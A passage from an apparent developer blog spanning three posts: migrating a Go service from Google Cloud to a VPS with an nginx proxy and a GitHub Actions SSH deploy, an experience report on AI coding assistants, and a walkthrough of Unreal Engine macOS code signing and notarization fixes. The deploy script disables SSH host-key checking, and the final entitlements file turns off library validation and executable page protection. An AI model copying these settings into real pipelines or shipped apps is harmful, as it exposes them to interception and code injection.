In this way, the Github Actions workflow can connect to the VPS using the private ssh key that we just created, and that we’ll add to the repository secrets.

The last prerequisite is to configure nginx to proxy the requests to the service. fitsleepinsights.app is a Go application that listens on port 8989, so we need to configure nginx to proxy the requests to that port.

# /etc/nginx/sites-available/fitsleepinsights.app

server {
    server_name fitsleepinsights.app;
    listen 80;

    # turn base_url//resoruce into base_url/resource
    merge_slashes on;

    real_ip_header    X-Real-IP;
    real_ip_recursive on;

    location / {
        add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
        proxy_pass  http://127.0.0.1:8989;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header X-Forwarded-For $remote_addr;
        proxy_set_header X-Forwarded-Port $server_port;
        proxy_set_header X-Request-Start $msec;
    }
}

The very last step on the VPS is to enable the service to start at boot:

sudo systemctl enable fitsleepinsights@$USER.service

The Github Actions workflow

The Github Actions workflow is the following:

Checkout the code
Build the application
Push the application to the VPS
Restart the service

We just need to add the private ssh key to the repository secrets (together with the other secrets like the VPS username and the VPS address), and the Github Actions workflow will be able to connect to the VPS and deploy the application.

name: Build and Deploy to OVH SSH server

on:
  push:
    branches: [ main ]

env:
  SSH_HOST: ${{ secrets.SSH_HOST }}
  SSH_USERNAME: ${{ secrets.SSH_USERNAME }}
  SSH_PRIVATE_KEY: ${{ secrets.SSH_PRIVATE_KEY }}
  SSH_PORT: ${{ secrets.SSH_PORT }}

jobs:
  deploy:

    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
        
      - name: Setup SSH
        uses: webfactory/ssh-agent@v0.9.0
        with:
          ssh-private-key: ${{ env.SSH_PRIVATE_KEY }}
          
      - name: Build for SSH deployment
        uses: actions/setup-go@v4
        with:
          go-version-file: 'go.mod'
      - name: build
        run: |
           go build -o fitsleepinsights
          
      - name: Deploy to SSH server
        run: |
          # Ensure the remote directory exists
          ssh -o StrictHostKeyChecking=no -p ${{ env.SSH_PORT }} ${{ env.SSH_USERNAME }}@${{ env.SSH_HOST }} "mkdir -p ~/fitsleepinsights"

          # Stop the service if it's running
          ssh -o StrictHostKeyChecking=no -p ${{ env.SSH_PORT }} ${{ env.SSH_USERNAME }}@${{ env.SSH_HOST }} "sudo systemctl stop fitsleepinsights@${{ env.SSH_USERNAME }}.service || true"

          # Deploy the application: just the binary
          cat fitsleepinsights | ssh -o StrictHostKeyChecking=no -p ${{ env.SSH_PORT }} ${{ env.SSH_USERNAME }}@${{ env.SSH_HOST }} "cat > ~/go/bin/fitsleepinsights"
          
          # Deploy the application static files and templates (needed for runtime)
          rsync -avz -e "ssh -o StrictHostKeyChecking=no -p ${{ env.SSH_PORT }}" \
            --exclude='.git/' \
            --exclude='.github/' \
            ./ ${{ env.SSH_USERNAME }}@${{ env.SSH_HOST }}:fitsleepinsights/

          # Start the service
          ssh -o StrictHostKeyChecking=no -p ${{ env.SSH_PORT }} ${{ env.SSH_USERNAME }}@${{ env.SSH_HOST }} "sudo systemctl start fitsleepinsights@${{ env.SSH_USERNAME }}.service"

The workflow is live on the repository, so you can see it here.

The CI is working, and the service is deployed on the VPS in seconds. You can see the actions running here.

Moving out from Google Cloud: the cost savings

The configuration of the Cloud SQL was the minimal one, with the least amount of resources: 1 vCPU, 2GB of RAM, 100GB of storage. No high availability, and deployed on a single region.

With the configuration, the cost was around 50€/month - only for the database!

The performance were poor, and the cost was too high for the resources used.

With the VPS instead, I have the freedom to do whatever I want. I deployed the database together with the service, with a more powerful configuration: 4 vCPU, 4GB of RAM, 80GB of storage.

The cost is around 10€/month for the database and the service together.

The performance are great and the cost is much lower than the Cloud SQL.

Differently from a pure Cloud solution, I have no database lag at all, no problems of cold start, no issues at all. Of course the scalability is not the same, but even with the cloud solution I would have been constrained by the fixed resources allocated to the Cloud SQL instance, making the scalability a problem anyway.

Self-hosting vs Cloud: The trade-offs

It’s important to acknowledge that this self-hosted solution doesn’t offer the same theoretical scalability as a cloud platform. However, in practice, even the Google Cloud solution I was using had significant scalability limitations. The Cloud SQL instance with its fixed resources would have been a bottleneck regardless, requiring manual intervention and additional costs to scale up.

What surprised me most was the performance difference. The default VPS configuration significantly outperforms the basic Cloud SQL setup I was using. Database queries that took seconds on Cloud SQL now complete in milliseconds. The elimination of cold starts for the application has also improved the user experience dramatically.

For small to medium-sized applications with predictable traffic patterns, a well-configured VPS can provide better performance, more control, and substantial cost savings compared to cloud solutions. The cloud’s theoretical advantages in scalability and managed services often come with practical disadvantages: higher costs, performance compromises at entry-level tiers, and less control over your infrastructure.

In the end, the right choice depends on your specific needs, but don’t assume the cloud is always superior. Sometimes, a return to more traditional hosting approaches can yield better results for your particular use case.

The future

This migration represents just the first step in my journey to “get back to the EU.” My roadmap includes several additional phases:

Domain migration: Moving from Google Domains to a European domain registrar
DNS migration: Switching to a European DNS provider
Analytics: Replacing Google Analytics with EU-hosted alternatives like Matomo

There are certain services that remain challenging to migrate, particularly the Gemini RAG used for Fitbit data analysis. For now, I’ll keep these on Google Cloud while monitoring the development of European AI alternatives.

This incremental approach allows me to balance practical considerations with the goal of digital sovereignty. Each migration step reduces dependency on non-EU providers while maintaining service quality for users.

I’ve chosen the VPS because I already had a VPS on OVH, so I didn’t need to spend money on a new one. ↩

Using AI for Coding: My Journey with Cline and Large Language Models

Sun, 26 Jan 2025 08:00:00 +0000

In recent months, I embarked on a journey to transform the UI/UX of a side project—bot.eofferte.eu, a SaaS platform that automates Amazon affiliate marketing on Telegram and streamlines the Amazon Associates onboarding process.

The project’s architecture is straightforward: a Go backend powered by the labstack/echo framework, with UI rendering handled by Go’s standard html/template package. To accelerate development and improve the overall user experience, I experimented with Cline through its VSCode plugin as my primary AI coding assistant. Here’s a detailed breakdown of my experience.

Experiments with Frontend Development

As someone who primarily focuses on backend development, UI/UX has always been a challenge. My limited knowledge of modern web frameworks and general aversion to CSS made frontend work particularly daunting. However, leveraging AI tools transformed this weakness into an opportunity for rapid improvement.

The impact was immediate and substantial. I tasked the LLMs with redesigning every page of the website:

The landing page underwent a complete transformation
The management interface (where users configure their services) received significant upgrades
The overall design evolved from basic to professional-grade

Beyond visual improvements, the LLMs proved invaluable for generating and refining essential content like privacy policies, terms of service, and other compliance documentation.

I experimented with two leading models:

Claude Sonnet 3.5:
- Performance: Exceptional response speed
- Accuracy: Deep understanding of web technologies (HTML, CSS, JavaScript)
- Effectiveness: Made intelligent framework suggestions (Font Awesome, Bootstrap) that enhanced both aesthetics and functionality
- Limitations: Context window restrictions often interrupted complex tasks
Gemini:
- Performance: Slower processing speed compared to Sonnet
- Advantage: Larger context window enabled handling more comprehensive instructions
- Versatility: Better suited for tasks requiring extensive context analysis

The AI’s ability to suggest appropriate frameworks and create cohesive designs proved transformative, especially for someone with limited frontend expertise.

Prompt Engineering for Success

Working with Cline proved intuitive thanks to its ability to analyze open files and understand repository context. A prime example was the redesign of our bot management interface (bot.html).

The original design required users to complete an extensive form in a single session. To improve user experience, I decided to implement a step-by-step wizard using Enchanter.js. The integration process highlighted the importance of precise prompt engineering:

analyze bot.html - it's a Go (golang) html template.

bot.html contains both html template code and JavaScript. Both are mixed with Go template syntax.

You need to rewrite bot.html using static/enchanter.js in order to convert the form in bot.html to a guided wizard.

Do not touch any JavaScript already present in bot.html and ignore every JavaScript error.

Your <form> tag should wrap the .nav and .tab-content elements. The footer of the form must contain "Back", "Next" and "Finish" buttons with the data-enchanter attributes.

This prompt succeeded because it:

Established Context: Clearly identified the technology stack and file structure
Defined Scope: Provided specific implementation requirements
Set Boundaries: Prevented unnecessary JavaScript modifications
Specified Requirements: Detailed the exact structure needed for the wizard implementation

Backend Development Insights

The backend experience revealed a crucial distinction in AI-assisted development. The project’s backend (Go) and bot component (Python) provided different insights:

Expertise Matters:
- With strong domain knowledge, AI became a powerful accelerator
- Code refinement and optimization suggestions were particularly valuable
- Repetitive tasks were handled efficiently
Pitfalls for Non-Experts:
- Limited domain knowledge led to accepting suboptimal AI suggestions
- Understanding the underlying technology proved crucial for effective AI collaboration
- Code review skills remained essential for quality assurance

In particular, I asked ChatGPT to write a function by knowing precisely how I would have implemented it. This is crucial since without knowing the expected result and what every line does, I might end up with a wrong implementation. The function I asked to implement is a simple similarity score among strings. Since the bot is posting deals by searching for keywords on Amazon, the PA-API is likely to return on the same request multiple version of the same product (e.g. a blue camera vs a black camera of the very same model).

With a very precise prompt, that must contain also a valid example, the generated function is very similar to the one I had in mind to solve this problem.

I need a function that for similar strings returns me a similarity score.

The case that I need to address is, for example:

string A: "Canon EOS 2000D DSLR Camera and EF-S 18-55 mm f/3.5-5.6 IS II Lens - Black"
string B: "Canon EOS 2000D + EF-S 18-55mm III Lens - Easy-to-use DSLR Camera with a Versatile Lens, Ideal for Portraits and Landscapes"

Should return a similarity score higher, since they are referring to the same camera

Generates:

from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity
import re

def compute_similarity(string_a: str, string_b: str) -> float:
    """
    Computes a similarity score between two strings based on their content.

    Args:
        string_a (str): The first string.
        string_b (str): The second string.

    Returns:
        float: A similarity score between 0 and 1, where higher indicates more similarity.
    """
    def preprocess(text):
        """
        Preprocess the input text: remove special characters, lowercase, and tokenize.
        """
        # Remove non-alphanumeric characters and lowercase
        return re.sub(r'\W+', ' ', text).lower()

    # Preprocess the input strings
    clean_a = preprocess(string_a)
    clean_b = preprocess(string_b)

    # Use TF-IDF to vectorize the strings
    vectorizer = TfidfVectorizer().fit([clean_a, clean_b])
    vectors = vectorizer.transform([clean_a, clean_b])

    # Compute cosine similarity
    similarity = cosine_similarity(vectors[0], vectors[1])
    return float(similarity[0][0])

The generation time is just a couple of seconds, plus one minute to read and understand if the function does what I requested. The boost in productivity is huge since I would have spent at least 3 or 4 times this time to write by myself the function.

Multilingual Content Generation

One of the most impressive applications was in content translation. The service needed to support multiple Amazon Affiliate regions: AU, BR, CA, EG, FR, DE, IN, IT, JP, MX, NL, PL, SG, SA, ES, SE, TR, AE, UK, and US.

The bot’s functionality includes Telegram posting and article generation (platinum plan), utilizing message templates stored in JSON format. For example, US.json contains structured messages:

"NOW_AVAILABLE_MESSAGE": "💰*{title}*💰\r\n\r\n Is now available at only 💣 *{new_price}{currency}* 💣\r\n\r\n ➡️ [Go to the offer]({url})"

A single, well-crafted prompt handled the entire translation process:

Translate - if not already translated in the target language - all the JSON files in the defaults folder.

Translate only the text in the TELEGRAM section to the target language, keeping the markdown formatting, the JSON structure, the variables, the emojis, and the line breaks.

The target language is identified by the two-letter code in the filename. For example, SE.json means Swedish, FR.json means French, etc.

Do not translate files already in the target language.

The model efficiently processed each file:

Identified language requirements based on filename codes
Preserved technical elements (markdown, variables, formatting)
Maintained consistency across translations
Skipped already-translated content

As an example, the model correctly generated the Arabic translation while preserving the formatting, variables and emoji:

"NOW_AVAILABLE_MESSAGE": "💰*{title}*💰\r\n\r\nمتوفر الآن بسعر 💣 *{new_price}{currency}* 💣 فقط\r\n\r\n➡️ [اذهب إلى العرض]({url})"

Challenges and Considerations

While the overall experience was positive, several challenges emerged:

Context Management: Claude Sonnet 3.5’s window limits required careful task segmentation
Performance Trade-offs: Balancing speed (Sonnet) versus capacity (Gemini)
Expertise Requirements: Backend development highlighted the importance of human expertise
Quality Assurance: Continuous review remained essential for maintaining code standards

Conclusion

AI-assisted development has fundamentally changed my approach to coding. For frontend tasks, tools like Cline with models such as Claude Sonnet 3.5 have proven invaluable, offering rapid solutions to design challenges. In backend development, these tools excel when guided by experienced developers who can effectively validate and integrate AI suggestions.

The key to success lies in understanding that AI tools are powerful amplifiers of existing skills rather than replacements for fundamental knowledge. They excel at accelerating development cycles, improving designs, and streamlining workflows, particularly in areas outside one’s core expertise.

The distinction between specialized coding models and general-purpose LLMs is significant. While both offer value, models optimized for development tasks, like Claude Sonnet 3.5, provide more focused and efficient assistance in coding scenarios.

Fixing the code signing and notarization issues of Unreal Engine (5.3+) projects

Sat, 06 Jul 2024 08:00:00 +0000

Starting from Unreal Engine 5.3, Epic Games added support for the so-called modern Xcode workflow. This workflow allows the Unreal Build Tool (UBT) to be more consistent with the standard Xcode app projects, and to be compliant with the Apple requirements for distributing applications… In theory! 😅 In practice this workflow is flawed: both the code signing and the framework supports are not correctly implemented, making the creation of working apps and their distribution impossible.

In this article, we’ll go through the problems faced during the packaging, code signing, and notarization of an Unreal Engine application that includes:

The CrashReporter: so an additional binary inside our .app.
The browser widget (so the engine CEF plugin is now treated as a macOS/iOS framework).
A third-party library with pre-built libraries (URedis).
Engine third-party libraries (like Intel TBB - that is automatically added to the packaged application).

The problems presented are inside the Engine itself, and we try to fix them from the outside avoiding (when possible!) modifying the engine.

The article describes all the attempts performed to reach the goal. If you are interested in the steps, you can jump to the TL;DR section.

Creating distribution-signed code for macOS

After creating an Unreal Engine application we, of course, want to distribute it to the world. On macOS, we can decide to publish our app to the Mac App Store or to distribute it directly to our users (e.g. making it available for download on our website).

In both cases, we need to create distribution-signed code which is code that is being compiled, signed, packaged, signed once again, and either submitted to the Mac App Store or to the notary service.

One of the promises of the modern Xcode workflow is to simplify the developers’ lives by integrating the steps of compilation, code signing, and packaging inside the UBT. It will be the UBT itself to invoke Xcode and to perform the signing steps.

Configure the modern Xcode workflow for code signing

The configuration can be done using the editor itself or - as I recommend - editing the configuration files manually (so we don’t have to open the editor which is a slow operation).

The file to configure is the DefaultEngine.ini configuration file, in the local Config directory. As every unreal developer knows these files are able to overwrite the settings already defined at engine level (settings that we can copy to use as a starting point). [/Script/MacTargetPlatform.XcodeProjectSettings] is the section to configure.

[/Script/MacTargetPlatform.XcodeProjectSettings]
bUseModernXcode=true
bUseAutomaticCodeSigning=true
bMacSignToRunLocally=false
CodeSigningTeam=<TEAM IDENTIFIER>
BundleIdentifier=<APPLICATION IDENTIFIER>
TemplateMacPlist=(FilePath="/Game/Build/Mac/Resources/Info.plist")
PremadeMacEntitlements=(FilePath="/Game/Build/Mac/Resources/entitlements.plist")
ShippingSpecificMacEntitlements=(FilePath="/Game/Build/Mac/Resources/entitlements.plist")

bUseModernXcode=true: enables the modern Xcode workflow.
bUseAutomaticCodeSigning=true: enables the code signing using the information specified below.
bMacSignToRunLocally=false: must be set to false to be able to firm with a valid developer ID, and not with the empty id “-“.
CodeSigningTeam and BundleIdentifier are the unique identifiers of the Apple Developers (given by Apple) and of the application under the same team ID, respectively.
TemplateMacPlist is the path (relative to the Game directory, that is where the .uproject file is) of the information property list (Info.plist). This file will be placed inside the application bundle and it contains a set of metadata (in a key-value fashion) used by both the application itself, the operating system, or by the system frameworks (e.g. To facilitate the launch of apps).
PremadeMacEntitlements and ShippingSpecificMacEntitlements are the paths of another .plist file that can contain other metadata. The file contains the list of rights/privileges that the application requires to run (as we’ll see in The Info.plist and the entitlements section, we need to grant certain privileges to our app to be able to execute the web browser widget without a crash). The PremadeMacEntitlements contains the meta-data applied to every build configuration. The ShippingSpecificMacEntitlements can be used to apply shipping-specific metadata, if required.

To get the <APPLICATION IDENTIFIER> and <TEAM IDENTIFIER> I redirect the reader to the Unreal Engine documentation about this topic: Provisioning Profiles and Signing Certificates. Please also note that you must log in on Xcode using your Apple Developer Account. This is mandatory to correctly start the signing process using Xcode (invoked by the UBT).

The application & the distribution workflow

The Config/DefaultEngine.ini file is part of a very trivial unreal engine application that, as mentioned in the first paragraph of the article, contains a couple of third-party plugins (URedis and WebBrowserWidget). The full project can be found here: galeone/ue-bundle-project.

Briefly, the application contains an empty world with just a user widget, containing a Web Browser Widget pointing to this website. The world also contains an ARedis actor that OnBeginPlay it connects to the local Redis server, sets a value, fetches this value, and prints in the scene the retrieved value. That’s all.

In the article, only the relevant parts for packaging, code signing, and notarization are shown.

We are interested in redistributing this application, and for doing it we need to:

Create the app - this is the standard packaging process of the application.
Sign the app and its content.
Create a signed .pkg.
Send to the notarization server the .pkg to have the final verification from Apple that the application has been correctly signed, and contains the correct security features and the users can safely download the application and execute it (without being asked to trust the author of the app because Apple trusted this developer and the application - so offering to the users a better installation experience).

Moreover, we want to insert in the bundle the crash report client provided by the engine. This is a separate application that will be bundled inside the .app automatically called when the application crashes, useful for collecting the crash reports.

Packaging & integrated code signing

The packaging process allows us to get a (correctly?) signed application. Using ue4cli we can easily invoke the UBT to create a shipping package with the crash report client inside. If you are following these steps using galeone/ue-bundle-project you need to edit the Config/DefaultEngine.ini, Build/Mac/Resources/Info.plist, and Build/Mac/Resources/entitlements.plist replacing the REPLACE_WITH_TEAM_ID and REPLACE_WITH_BUNDLE_ID with the appropriate values.

LC_ALL="C" ue4 package Shipping -CrashReportClient

This will take a while. Once completed, the BundleProject-Mac-Shipping.app has been created inside the dist/Mac folder. Using codesign we can verify if the content has been signed (note: not correctly signed as requested by Apple for distribution!).

codesign --verify --verbose dist/Mac/BundleProject-Mac-Shipping.app

dist/Mac/BundleProject-Mac-Shipping.app: valid on disk
dist/Mac/BundleProject-Mac-Shipping.app: satisfies its Designated requirement

Everything looks OK - but unfortunately, if we try to open this brand-new app, it just crashes without giving us any clue.

Unreal Engine from version 5.3 onward changed the flags required to create a valid package (only on macOS apparently). In fact, we can see the app content to only contain the main executable, but there are no dylibs! We expect to have at least the libraries of the URedis plugin. Moreover, there’s no reference to CEF (required by the Web Browser widget) nor a reference to the CrashReportClient.app!

tree -a dist/Mac/BundleProject-Mac-Shipping.app

dist/Mac/BundleProject-Mac-Shipping.app
└── Contents
    ├── Info.plist
    ├── MacOS
    │   └── BundleProject-Mac-Shipping
    ├── PkgInfo
    ├── Resources
    │   ├── AppIcon.icns
    │   ├── Assets.car
    │   ├── LaunchScreen.storyboardc
    │   │   ├── 01J-lp-oVM-view-Ze5-6b-2t3.nib
    │   │   ├── Info.plist
    │   │   └── LaunchScreen.nib
    │   └── UEMetadata
    │       └── PrivacyInfo.xcprivacy
    └── _CodeSignature
        └── CodeResources

By copying the invocation of the UBT while creating the package from the editor, we find out that right now is required to explicit the -package flag.

LC_ALL="C" ue4 package Shipping -package -CrashReportClient

Now, also the name of the application changed from a developer-friendly name to a customer-friendly name (BundleProject.app without additional technical information).

If we look inside the bundle we can see almost all the missing parts.

tree -a dist/Mac/BundleProject.app

dist/Mac/BundleProject.app
└── Contents
    ├── Frameworks
    │   └── Chromium Embedded Framework.framework
    │       ├── Chromium Embedded Framework
    │       ├── Libraries
    │       │   ├── libEGL.dylib
    │       │   ├── libGLESv2.dylib
    │       │   ├── libswiftshader_libEGL.dylib
    │       │   ├── libswiftshader_libGLESv2.dylib
    │       │   ├── libvk_swiftshader.dylib
    │       │   └── vk_swiftshader_icd.json
    │       ├── Resources
    │       │   ├── Info.plist
    │       │   ├── icudtl.dat
    │       │   ├── snapshot_blob.bin
    │       │   ├── v8_context_snapshot.arm64.bin
    │       └── _CodeSignature
    │           └── CodeResources
    ├── Info.plist
    ├── MacOS
    ├── Resources
    └── UE
        ├── BundleProject
        │   ├── Binaries
        │   │   └── Mac
        │   ├── BundleProject.uproject
        │   ├── Config
        │   ├── Content
        │   └── Plugins
        │       └── URedis
        │           ├── Source
        │           │   └── ThirdParty
        │           │       └── URedisLibrary
        │           │           └── mac
        │           │               └── arm64
        │           │                   ├── libhiredis.1.1.0.dylib
        │           │                   └── libredis++.1.dylib
        │           └── URedis.uplugin
        ├── Engine
        │   ├── Binaries
        │   │   ├── Mac
        │   │   │   ├── CrashReportClient.app
        │   │   │   └── EpicWebHelper
        │   │   └── ThirdParty
        │   │       ├── Apple
        │   │       ├── Intel
        │   │       │   └── TBB
        │   │       │       └── Mac
        │   │       │           ├── libtbb.dylib
        │   │       │           └── libtbbmalloc.dylib
        │   │       ├── Ogg
        │   │       └── Vorbis
        │   ├── Config
        │   ├── Content
        │   ├── Extras
        │   ├── Plugins
        │   ├── Programs
        │   │   └── CrashReportClient
        │   └── Shaders
        └── UECommandLine.txt

Note: the tree output has been post-processed to remove a lot of files that are not useful for the goal of this article.

So far so good? It looks like all the libraries are there, as well as the CrashReporterClient.app.

We can try to execute the application… It crashes. Once again 😭

Chromium Embedded Framework as a macOS framework

By creating a Development package, we can get the application logs and use them to understand what’s going on.

[ERROR:icu_util.cc(178)] icudtl.dat not found in bundle
[ERROR:icu_util.cc(242)] Invalid file descriptor to ICU data received.

This is strange, since icudtl.dat is in the bundle at the path Contents/Frameworks/Chromium Embedded Framework.framework/Resource.

Digging into the engine source code looking for the correct CEF location, we can see in MacPlatform.Automation.cs this line.

public override void ProcessArchivedProject(ProjectParams Params, DeploymentContext SC)
{
	// nothing to do with modern
	if (AppleExports.UseModernXcode(Params.RawProjectPath))
	{
        return;
	}

This early return prevents the execution of the method FixupFrameworks. The first line of this method mentions Engine/Binaries/ThirdParty/CEF3/Mac as the target directory for CEF inside the bundle.

However, we don’t want to disable the modernized XCode framework, so we have 2 options:

Manually move the Chromium Embedded Framework.framework folder inside Engine/Binaries/ThirdParty/CEF3/Mac. This is a valid option but it requires to codesign the package once again, since changing the content of the .app invalidates its signature.
Prevent the UBT from creating the Framework folder, and let the UBT copy the framework in the old (correct) location.

This second option requires to modify the build file of CEF CEF.build.cs:

if (Target.LinkType == TargetLinkType.Modular || !AppleExports.UseModernXcode(Target.ProjectFile))
{
	// Add contents of framework directory as runtime dependencies
	foreach (string FilePath in Directory.EnumerateFiles(FrameworkLocation.FullName, "*", SearchOption.AllDirectories))
	{
		RuntimeDependencies.Add(FilePath);
	}
}
// for modern
else
{
	FileReference ZipFile = new FileReference(FrameworkLocation.FullName + ".zip");
	// this is relative to module dir
	string FrameworkPath = ZipFile.MakeRelativeTo(new DirectoryReference(ModuleDirectory));

	PublicAdditionalFrameworks.Add(
		new Framework("Chromium Embedded Framework", FrameworkPath, Framework.FrameworkMode.Copy, null)
		);
}

When using modern Xcode we enter in the else branch that copies the frameworks in the Framework directory. Instead, we want to always enter in the if branch, thus the code has to be modified accordingly.

After applying this change, we can finally execute the application. It should work, right? 😅

The Info.plist and the entitlements

Of course, it doesn’t work yet!

[FATAL:mach_port_rendezvous.cc(142)] Check failed: kr == KERN_SUCCESS. bootstrap_check_in org.chromium.ContentShell.framework.MachPortRendezvousServer.32575: Permission denied (1100)

We have a permission issue. Our application for some reason (that we are going to discover soon) doesn’t have permission to execute something. Even trying with root privileges doesn’t fix the issue. So? Here’s where the entitlements file comes into play.

After hours of trial and error and various research on the CEF forum, I understood that this permission-denied issue is only a matter of correctly setting the Bundle ID in the entitlements.

So, the entitlements that we are going to use must have the section com.apple.application-identifier set with the same value used in the DefaultEngine.ini file while setting the BundleIdentifierkey. The entitlements file, thus, should contain at least this content (of course replacing the <APPLICATION IDENTIFIER> with the correct Bundle ID).

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
       <key>com.apple.application-identifier</key>
       <string><APPLICATION IDENTIFIER></string>
</dict>
</plist>

So, the UBT doesn’t do this for us although it has all the information needed (Epic Games this is for you).

Moreover, to be 100% consistent (and I’m sorry but I don’t have a lot of trust in how Epic Games does this stuff) I also prefer to be explicit and define our Info.plist file without hoping for the UBT to correctly generate one for us.

You can see the complete Info.plist in the repository. The important part is to also set there the Bundle ID:

	<key>CFBundleIdentifier</key>
	<string>REPLACE_WITH_BUNDLE_ID</string>

Now, after the first configuration of the entitlements and of the Info.plist, we can package once again our application and try to execute it 🤞

LC_ALL="C" ue4 package Development -package -CrashReporter
# invoked this way to see the logs, and not invoked using open dist/Mac/BundleProject.app
./dist/Mac/BundleProject.app/Contents/MacOS/BundleProject

It works 🙌

The notarization process

We have a working application. Now we want to package it in a .pkg (or .zip or .dmg it’s the same) and ship it to our clients. The first step is the creation of the product and the sign of the bundle with the correct packaging certificate. The certificate to use for the code signing of the product is the one that starts with Developer ID Installer:. In the following sections, we assume that the environment variable $installer_cert contains that certificate.

productbuild is the tool to use for going from a .app to a .pkg

productbuild --component dist/Mac/BundleProject.app /Applications \
             --sign "$installer_cert" \
             --timestamp \
             --identifier REPLACE_WITH_BUNDLE_ID \
             BundleProject.pkg

As usual, the Bundle ID should be replaced with the correct identifier. After a few seconds, the product is ready and we have our BundleProject.pkg ready to be shipped to our clients. Right? Well, no. It depends on the result of the notarization process.

The Notarizing macOS software before distribution page is very clear about what notarization is and why it is required.

Notarize your macOS software to give users more confidence that the Developer ID-signed software you distribute has been checked by Apple for malicious components. Notarization of macOS software is not App Review. The Apple notary service is an automated system that scans your software for malicious content, checks for code-signing issues, and returns the results to you quickly. If there are no issues, the notary service generates a ticket for you to staple to your software; the notary service also publishes that ticket online where Gatekeeper can find it.

So, let’s notarize our product! The notarization process happens on the Apple servers, so we need our developer’s credentials. In the following we assume the environment variables $APPDEV_PASSWORD, $APPDEV_ID, and $APPDEV_TEAMID to contain the password, user ID and team ID respectively.

xcrun notarytool submit BundleProject.pkg \
      --password $APPDEV_PASSWORD --apple-id $APPDEV_ID --team-id $APPDEV_TEAMID \
      --wait --force --verbose --output-format plist

The time for executing this command may vary according to the internet speed and how big the .pkg is. After a bit of time, here’s what we got.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>id</key>
	<string>76801d98-0ce6-4bd1-9fd5-c444f848ac4e</string>
	<key>message</key>
	<string>Processing complete</string>
	<key>status</key>
	<string>Invalid</string>
</dict>
</plist>

Quite generic. But of course “Invalid” 😭

Something went wrong and we have no idea about what precisely. Luckily, the notarytool can be also used to fetch detailed logs. We need the UUID of our notarization process, which can be found by looking at the output of the notarytool submit command previously invoked. It can be seen that every GET request is performed to a URL that ends with a UUID.

Preparing GET request to URL: https://appstoreconnect.apple.com/notary/v2/submissions/OUR-UNIQUE-UUID-IS-HERE

Using this ID, we can use the notarytool log and try to understand what’s going on.

xcrun notarytool log OUR-UNIQUE-UUID-IS-HERE \
           --password $APPDEV_PASSWORD --apple-id $APPDEV_ID --team-id $APPDEV_TEAMID

The output is a (big) JSON response, with several errors message like:

{
  "severity": "error",
  "code": null,
  "path": "BundleProject.pkg/YOUR.BUNDLE.ID.pkg Contents/Payload/Applications/BundleProject.app/Contents/MacOS/BundleProject",
  "message": "The binary is not signed with a valid Developer ID certificate.",
  "docUrl": "https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution/resolving_common_notarization_issues#3087721",
  "architecture": "arm64"
},
{
  "severity": "error",
  "code": null,
  "path": "BundleProject.pkg/YOUR.BUNDLE.ID.pkg Contents/Payload/Applications/BundleProject.app/Contents/MacOS/BundleProject",
  "message": "The signature does not include a secure timestamp.",
  "docUrl": "https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution/resolving_common_notarization_issues#3087733",
  "architecture": "arm64"
},
{
  "severity": "error",
  "code": null,
  "path": "BundleProject.pkg/YOUR.BUNDLE.ID.pkg Contents/Payload/Applications/BundleProject.app/Contents/MacOS/BundleProject",
  "message": "The executable does not have the hardened runtime enabled.",
  "docUrl": "https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution/resolving_common_notarization_issues#3087724",
  "architecture": "arm64"
},
{
  "severity": "error",
  "code": null,
  "path": "BundleProject.pkg/YOUR.BUNDLE.ID.pkg Contents/Payload/Applications/BundleProject.app/Contents/MacOS/BundleProject",
  "message": "The executable requests the com.apple.security.get-task-allow entitlement.",
  "docUrl": "https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution/resolving_common_notarization_issues#3087731",
  "architecture": "arm64"
},
{
  "severity": "error",
  "code": null,
  "path": "BundleProject.pkg/YOUR.BUNDLE.ID.pkg Contents/Payload/Applications/BundleProject.app/Contents/UE/BundleProject/Plugins/URedis/Source/ThirdParty/URedisLibrary/mac/arm64/libredis++.1.dylib",
  "message": "The binary is not signed with a valid Developer ID certificate.",
  "docUrl": "https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution/resolving_common_notarization_issues#3087721",
  "architecture": "arm64"
}

These 4 errors are repeated for all the libraries and binaries in the bundle. Every library of the CEF framework, the executable EpicWebHelper, the CrashReportClient.app, and so on.

Those errors are very strange since UBT signed for us the content of the .app and the app itself. The only issue that looks easy to solve is the “The executable requests the com.apple.security.get-task-allow entitlement”.

After several attempts, I ended up with this entitlements file that satisfies pretty much all the permissions needed for releasing the software and also to be able to debug it.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
       <key>com.apple.application-identifier</key>
       <string><APPLICATION IDENTIFIER></string>
       <key>com.apple.security.cs.allow-dyld-environment-variables</key>
       <true/>
       <key>com.apple.security.cs.allow-jit</key>
       <true/>
       <key>com.apple.security.cs.allow-unsigned-executable-memory</key>
       <true/>
       <key>com.apple.security.cs.disable-executable-page-protection</key>
       <true/>
       <key>com.apple.security.cs.disable-library-validation</key>
       <true/>
</dict>
</plist>

However, updating the entitlements file doesn’t solve all the other issues.

Is the Unreal Engine code signing not enough?

Yes. If you want to be able to redistribute a notarized application, you cannot use the code signing embedded in the unreal editor for 3 reasons:

There’s no way to enable the hardened runtime and add a secure timestamp to the signed files.
The file Info.plist is not correctly generated from the information provided in the DefaultEngine.ini. The bundle ID (which is very important) is not updated automatically.
If you are using the Web Browser Plugin (CEF) - well, it’s broken.

So, once reached this stage, we have to manually codesing the .app and all its content, being sure to specify all the flags required to enable the hardened runtime and to add the secure timestamp.

